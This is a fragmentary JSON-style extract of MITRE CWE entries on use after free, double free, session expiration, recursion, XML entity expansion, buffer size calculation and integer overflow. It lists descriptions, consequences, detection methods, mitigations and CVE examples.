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[ { "Impact": [ "Modify Memory", "Execute Unauthorized Code or Commands" ], "Likelihood": null, "Note": "\n\nWhen a program calls free() twice with the same argument, the program's memory management data structures may become corrupted, potentially leading to the reading or modification of unexpected memory addresses. This corruption can cause the program to crash or, in some circumstances, cause two later calls to malloc() to return the same pointer. If malloc() returns the same value twice and the program later gives the attacker control over the data that is written into this doubly-allocated memory, the program becomes vulnerable to a buffer overflow attack.\n\n\nDoubly freeing memory may result in a write-what-where condition, allowing an attacker to execute arbitrary code.\n", "Scope": [ "Integrity", "Confidentiality", "Availability" ] } ]

[ { "Description": "Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs. Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.", "DetectionMethodID": "DM-13", "Effectiveness": "High", "EffectivenessNotes": null, "Method": "Fuzzing" }, { "Description": "Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect \"sources\" (origins of input) with \"sinks\" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)", "DetectionMethodID": "DM-14", "Effectiveness": "High", "EffectivenessNotes": null, "Method": "Automated Static Analysis" } ]

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Allowed

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.

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[ { "Description": null, "Term": "Double-free" } ]

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416

Use After Free

Variant

Simple

Stable

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The product reuses or references memory after it has been freed. At some point afterward, the memory may be allocated again and saved in another pointer, while the original pointer references a location somewhere within the new allocation. Any operations using the original pointer are no longer valid because the memory "belongs" to the code that operates on the new pointer.

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High

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[ { "Description": "Chain: an operating system kernel has insufficent resource locking (CWE-413) leading to a use after free (CWE-416).", "Link": "https://www.cve.org/CVERecord?id=CVE-2022-20141", "Reference": "CVE-2022-20141" }, { "Description": "Chain: two threads in a web browser use the same resource (CWE-366), but one of those threads can destroy the resource before the other has completed (CWE-416).", "Link": "https://www.cve.org/CVERecord?id=CVE-2022-2621", "Reference": "CVE-2022-2621" }, { "Description": "Chain: mobile platform race condition (CWE-362) leading to use-after-free (CWE-416), as exploited in the wild per CISA KEV.", "Link": "https://www.cve.org/CVERecord?id=CVE-2021-0920", "Reference": "CVE-2021-0920" }, { "Description": "Chain: race condition (CWE-362) leads to use-after-free (CWE-416), as exploited in the wild per CISA KEV.", "Link": "https://www.cve.org/CVERecord?id=CVE-2020-6819", "Reference": "CVE-2020-6819" }, { "Description": "Use-after-free triggered by closing a connection while data is still being transmitted.", "Link": "https://www.cve.org/CVERecord?id=CVE-2010-4168", "Reference": "CVE-2010-4168" }, { "Description": "Improper allocation for invalid data leads to use-after-free.", "Link": "https://www.cve.org/CVERecord?id=CVE-2010-2941", "Reference": "CVE-2010-2941" }, { "Description": "certificate with a large number of Subject Alternate Names not properly handled in realloc, leading to use-after-free", "Link": "https://www.cve.org/CVERecord?id=CVE-2010-2547", "Reference": "CVE-2010-2547" }, { "Description": "Timers are not disabled when a related object is deleted", "Link": "https://www.cve.org/CVERecord?id=CVE-2010-1772", "Reference": "CVE-2010-1772" }, { "Description": "Access to a \"dead\" object that is being cleaned up", "Link": "https://www.cve.org/CVERecord?id=CVE-2010-1437", "Reference": "CVE-2010-1437" }, { "Description": "object is deleted even with a non-zero reference count, and later accessed", "Link": "https://www.cve.org/CVERecord?id=CVE-2010-1208", "Reference": "CVE-2010-1208" }, { "Description": "use-after-free involving request containing an invalid version number", "Link": "https://www.cve.org/CVERecord?id=CVE-2010-0629", "Reference": "CVE-2010-0629" }, { "Description": "unload of an object that is currently being accessed by other functionality", "Link": "https://www.cve.org/CVERecord?id=CVE-2010-0378", "Reference": "CVE-2010-0378" }, { "Description": "incorrectly tracking a reference count leads to use-after-free", "Link": "https://www.cve.org/CVERecord?id=CVE-2010-0302", "Reference": "CVE-2010-0302" }, { "Description": "use-after-free related to use of uninitialized memory", "Link": "https://www.cve.org/CVERecord?id=CVE-2010-0249", "Reference": "CVE-2010-0249" }, { "Description": "HTML document with incorrectly-nested tags", "Link": "https://www.cve.org/CVERecord?id=CVE-2010-0050", "Reference": "CVE-2010-0050" }, { "Description": "Use after free in ActiveX object by providing a malformed argument to a method", "Link": "https://www.cve.org/CVERecord?id=CVE-2009-3658", "Reference": "CVE-2009-3658" }, { "Description": "use-after-free by disconnecting during data transfer, or a message containing incorrect data types", "Link": "https://www.cve.org/CVERecord?id=CVE-2009-3616", "Reference": "CVE-2009-3616" }, { "Description": "disconnect during a large data transfer causes incorrect reference count, leading to use-after-free", "Link": "https://www.cve.org/CVERecord?id=CVE-2009-3553", "Reference": "CVE-2009-3553" }, { "Description": "use-after-free found by fuzzing", "Link": "https://www.cve.org/CVERecord?id=CVE-2009-2416", "Reference": "CVE-2009-2416" }, { "Description": "Chain: race condition (CWE-362) from improper handling of a page transition in web client while an applet is loading (CWE-368) leads to use after free (CWE-416)", "Link": "https://www.cve.org/CVERecord?id=CVE-2009-1837", "Reference": "CVE-2009-1837" }, { "Description": "realloc generates new buffer and pointer, but previous pointer is still retained, leading to use after free", "Link": "https://www.cve.org/CVERecord?id=CVE-2009-0749", "Reference": "CVE-2009-0749" }, { "Description": "Use-after-free in web browser, probably resultant from not initializing memory.", "Link": "https://www.cve.org/CVERecord?id=CVE-2010-3328", "Reference": "CVE-2010-3328" }, { "Description": "use-after-free when one thread accessed memory that was freed by another thread", "Link": "https://www.cve.org/CVERecord?id=CVE-2008-5038", "Reference": "CVE-2008-5038" }, { "Description": "assignment of malformed values to certain properties triggers use after free", "Link": "https://www.cve.org/CVERecord?id=CVE-2008-0077", "Reference": "CVE-2008-0077" }, { "Description": "mail server does not properly handle a long header.", "Link": "https://www.cve.org/CVERecord?id=CVE-2006-4434", "Reference": "CVE-2006-4434" }, { "Description": "chain: integer overflow leads to use-after-free", "Link": "https://www.cve.org/CVERecord?id=CVE-2010-2753", "Reference": "CVE-2010-2753" }, { "Description": "freed pointer dereference", "Link": "https://www.cve.org/CVERecord?id=CVE-2006-4997", "Reference": "CVE-2006-4997" }, { "Description": "Chain: A multi-threaded race condition (CWE-367) allows attackers to cause two threads to process the same RPC request, which causes a use-after-free (CWE-416) in one thread", "Link": "https://www.cve.org/CVERecord?id=CVE-2003-0813", "Reference": "CVE-2003-0813" } ]

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"Date": null, "ModificationComment": null, "ModificationDate": null, "ModificationName": null, "ModificationOrganization": null, "ModificationReleaseDate": null, "ModificationVersion": null, "PreviousEntryName": null, "SubmissionComment": null, "SubmissionDate": null, "SubmissionName": null, "SubmissionOrganization": null, "SubmissionReleaseDate": null, "SubmissionVersion": null, "Type": "Contribution" } ]

Allowed

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.

[ "Acceptable-Use" ]

null

[ { "Description": "If the product accesses a previously-freed pointer, then it means that a separate weakness or error already occurred previously, such as a race condition, an unexpected or poorly handled error condition, confusion over which part of the program is responsible for freeing the memory, performing the free too soon, etc.", "Ordinality": "Resultant" } ]

[ { "Description": "a pointer that no longer points to valid memory, often after it has been freed", "Term": "Dangling pointer" }, { "Description": "commonly used acronym for Use After Free", "Term": "UAF" }, { "Description": null, "Term": "Use-After-Free" } ]

[ "Memory" ]

null

1

[ [ "672", "416" ] ]

[]

613

Insufficient Session Expiration

Base

Simple

Incomplete

null

According to WASC, "Insufficient Session Expiration is when a web site permits an attacker to reuse old session credentials or session IDs for authorization."

null

[ { "CweID": "672", "Nature": "ChildOf", "Ordinal": "Primary", "ViewID": "1003" } ]

null

[ { "Note": null, "Phase": "Architecture and Design" }, { "Note": "REALIZATION: This weakness is caused during implementation of an architectural security tactic.", "Phase": "Implementation" } ]

[ { "Impact": [ "Bypass Protection Mechanism" ], "Likelihood": null, "Note": null, "Scope": [ "Access Control" ] } ]

[ { "Description": "Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect \"sources\" (origins of input) with \"sinks\" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)", "DetectionMethodID": "DM-14", "Effectiveness": "High", "EffectivenessNotes": null, "Method": "Automated Static Analysis" } ]

[ { "Description": "Set sessions/credentials expiration date.", "Effectiveness": null, "EffectivenessNotes": null, "MitigationID": null, "Phase": [ "Implementation" ], "Strategy": null } ]

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[ { "EntryID": "47", "EntryName": "Insufficient Session Expiration", "MappingFit": null, "TaxonomyName": "WASC" } ]

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[ { "Note": "The lack of proper session expiration may improve the likely success of certain attacks. For example, an attacker may intercept a session ID, possibly via a network sniffer or Cross-site Scripting attack. Although short session expiration times do not help if a stolen token is immediately used, they will protect against ongoing replaying of the session ID. In another scenario, a user might access a web site from a shared computer (such as at a library, Internet cafe, or open work environment). Insufficient Session Expiration could allow an attacker to use the browser's back button to access web pages previously accessed by the victim.", "Type": "Other" } ]

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Allowed

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.

[ "Acceptable-Use" ]

null

1

[ [ "672", "613" ] ]

[]

674

Uncontrolled Recursion

Class

Simple

Draft

null

The product does not properly control the amount of recursion that takes place, consuming excessive resources, such as allocated memory or the program stack.

null

[]

[ { "Class": "Not Language-Specific", "Name": null, "Prevalence": "Undetermined", "Type": "Language" } ]

[ { "Note": "The uncontrolled recursion is often due to an improper or missing conditional", "Phase": "Implementation" } ]

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[ { "Description": "Deeply nested arrays trigger stack exhaustion.", "Link": "https://www.cve.org/CVERecord?id=CVE-2007-1285", "Reference": "CVE-2007-1285" }, { "Description": "Self-referencing pointers create infinite loop and resultant stack exhaustion.", "Link": "https://www.cve.org/CVERecord?id=CVE-2007-3409", "Reference": "CVE-2007-3409" }, { "Description": "Javascript application accidentally changes input in a way that prevents a recursive call from detecting an exit condition.", "Link": "https://www.cve.org/CVERecord?id=CVE-2016-10707", "Reference": "CVE-2016-10707" }, { "Description": "An attempt to recover a corrupted XML file infinite recursion protection counter was not always incremented missing the exit condition.", "Link": "https://www.cve.org/CVERecord?id=CVE-2016-3627", "Reference": "CVE-2016-3627" }, { "Description": "USB-audio driver's descriptor code parsing allows unlimited recursion leading to stack exhaustion.", "Link": "https://www.cve.org/CVERecord?id=CVE-2019-15118", "Reference": "CVE-2019-15118" } ]

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[ { "Description": null, "Term": "Stack Exhaustion" } ]

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776

Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')

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The product uses XML documents and allows their structure to be defined with a Document Type Definition (DTD), but it does not properly control the number of recursive definitions of entities.

If the DTD contains a large number of nested or recursive entities, this can lead to explosive growth of data when parsed, causing a denial of service.

Medium

[ { "CweID": "674", "Nature": "ChildOf", "Ordinal": "Primary", "ViewID": "1003" } ]

[ { "Class": null, "Name": "XML", "Prevalence": "Undetermined", "Type": "Language" } ]

[ { "Note": null, "Phase": "Implementation" }, { "Note": null, "Phase": "Operation" } ]

[ { "Impact": [ "DoS: Resource Consumption (Other)" ], "Likelihood": null, "Note": "If parsed, recursive entity references allow the attacker to expand data exponentially, quickly consuming all system resources.", "Scope": [ "Availability" ] } ]

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[ { "Description": "XEE in XML-parsing library.", "Link": "https://www.cve.org/CVERecord?id=CVE-2008-3281", "Reference": "CVE-2008-3281" }, { "Description": "XML bomb / XEE in enterprise communication product.", "Link": "https://www.cve.org/CVERecord?id=CVE-2011-3288", "Reference": "CVE-2011-3288" }, { "Description": "\"Billion laughs\" attack in XMPP server daemon.", "Link": "https://www.cve.org/CVERecord?id=CVE-2011-1755", "Reference": "CVE-2011-1755" }, { "Description": "XML bomb in web server module", "Link": "https://www.cve.org/CVERecord?id=CVE-2009-1955", "Reference": "CVE-2009-1955" }, { "Description": "Parsing library allows XML bomb", "Link": "https://www.cve.org/CVERecord?id=CVE-2003-1564", "Reference": "CVE-2003-1564" } ]

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Allowed

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.

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682

Incorrect Calculation

Pillar

Simple

Draft

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The product performs a calculation that generates incorrect or unintended results that are later used in security-critical decisions or resource management.

When product performs a security-critical calculation incorrectly, it might lead to incorrect resource allocations, incorrect privilege assignments, or failed comparisons among other things. Many of the direct results of an incorrect calculation can lead to even larger problems such as failed protection mechanisms or even arbitrary code execution.

High

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[ { "Description": "chain: mobile phone Bluetooth implementation does not include offset when calculating packet length (CWE-682), leading to out-of-bounds write (CWE-787)", "Link": "https://www.cve.org/CVERecord?id=CVE-2020-0022", "Reference": "CVE-2020-0022" }, { "Description": "substitution overflow: buffer overflow using environment variables that are expanded after the length check is performed", "Link": "https://www.cve.org/CVERecord?id=CVE-2004-1363", "Reference": "CVE-2004-1363" } ]

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Discouraged

This CWE entry is extremely high-level, a Pillar. In many cases, lower-level children or descendants are more appropriate. However, sometimes this weakness is forced to be used due to the lack of in-depth weakness research. See Research Gaps.

Where feasible, consider children or descendants of this entry instead.

[ "Abstraction" ]

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1

[ [ "682" ] ]

[ "131", "190", "191", "193", "369" ]

131

Incorrect Calculation of Buffer Size

Base

Simple

Draft

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The product does not correctly calculate the size to be used when allocating a buffer, which could lead to a buffer overflow.

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High

[ { "CweID": "682", "Nature": "ChildOf", "Ordinal": "Primary", "ViewID": "1003" } ]

[ { "Class": null, "Name": "C", "Prevalence": "Undetermined", "Type": "Language" }, { "Class": null, "Name": "C++", "Prevalence": "Undetermined", "Type": "Language" } ]

[ { "Note": null, "Phase": "Implementation" } ]

[ { "Impact": [ "DoS: Crash, Exit, or Restart", "Execute Unauthorized Code or Commands", "Read Memory", "Modify Memory" ], "Likelihood": null, "Note": "If the incorrect calculation is used in the context of memory allocation, then the software may create a buffer that is smaller or larger than expected. If the allocated buffer is smaller than expected, this could lead to an out-of-bounds read or write (CWE-119), possibly causing a crash, allowing arbitrary code execution, or exposing sensitive data.", "Scope": [ "Integrity", "Availability", "Confidentiality" ] } ]

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[REF-7]\n\n\nAlso be careful to account for 32-bit, 64-bit, and other potential differences that may affect the numeric representation.\n", "Effectiveness": null, "EffectivenessNotes": null, "MitigationID": "MIT-36", "Phase": [ "Implementation" ], "Strategy": null }, { "Description": "Perform input validation on any numeric input by ensuring that it is within the expected range. Enforce that the input meets both the minimum and maximum requirements for the expected range.", "Effectiveness": null, "EffectivenessNotes": null, "MitigationID": "MIT-8", "Phase": [ "Implementation" ], "Strategy": "Input Validation" }, { "Description": "For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.", "Effectiveness": null, "EffectivenessNotes": null, "MitigationID": "MIT-15", "Phase": [ "Architecture and Design" ], "Strategy": null }, { "Description": "When processing structured incoming data containing a size field followed by raw data, identify and resolve any inconsistencies between the size field and the actual size of the data (CWE-130).", "Effectiveness": null, "EffectivenessNotes": null, "MitigationID": null, "Phase": [ "Implementation" ], "Strategy": null }, { "Description": "When allocating memory that uses sentinels to mark the end of a data structure - such as NUL bytes in strings - make sure you also include the sentinel in your calculation of the total amount of memory that must be allocated.", "Effectiveness": null, "EffectivenessNotes": null, "MitigationID": null, "Phase": [ "Implementation" ], "Strategy": null }, { "Description": "Replace unbounded copy functions with analogous functions that support length arguments, such as strcpy with strncpy. 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190

Integer Overflow or Wraparound

Base

Simple

Stable

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The product performs a calculation that can produce an integer overflow or wraparound when the logic assumes that the resulting value will always be larger than the original value. This occurs when an integer value is incremented to a value that is too large to store in the associated representation. When this occurs, the value may become a very small or negative number.

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Medium

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[ { "Note": "This weakness may become security critical when determining the offset or size in behaviors such as memory allocation, copying, and concatenation.", "Phase": "Implementation" } ]

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Allowed

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Be careful of terminology problems with "overflow," "underflow," and "wraparound" - see Terminology Notes. Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.

[ "Acceptable-Use" ]

[ { "Comment": "Integer Underflow (Wrap or Wraparound). Consider CWE-191 when the result is less than the minimum value that can be represented (sometimes called \"underflows\").", "CweID": "191" } ]

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[ { "Description": "The terms \"overflow\" and \"wraparound\" are used interchangeably by some people, but they can have more precise distinctions by others. See Terminology Notes.", "Term": "Overflow" }, { "Description": "The terms \"overflow\" and \"wraparound\" are used interchangeably by some people, but they can have more precise distinctions by others. See Terminology Notes.", "Term": "Wraparound" }, { "Description": "Alternate spellings of \"wraparound\"", "Term": "wrap, wrap-around, wrap around" } ]

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[ "Number Processing", "Memory Management", "Counters" ]

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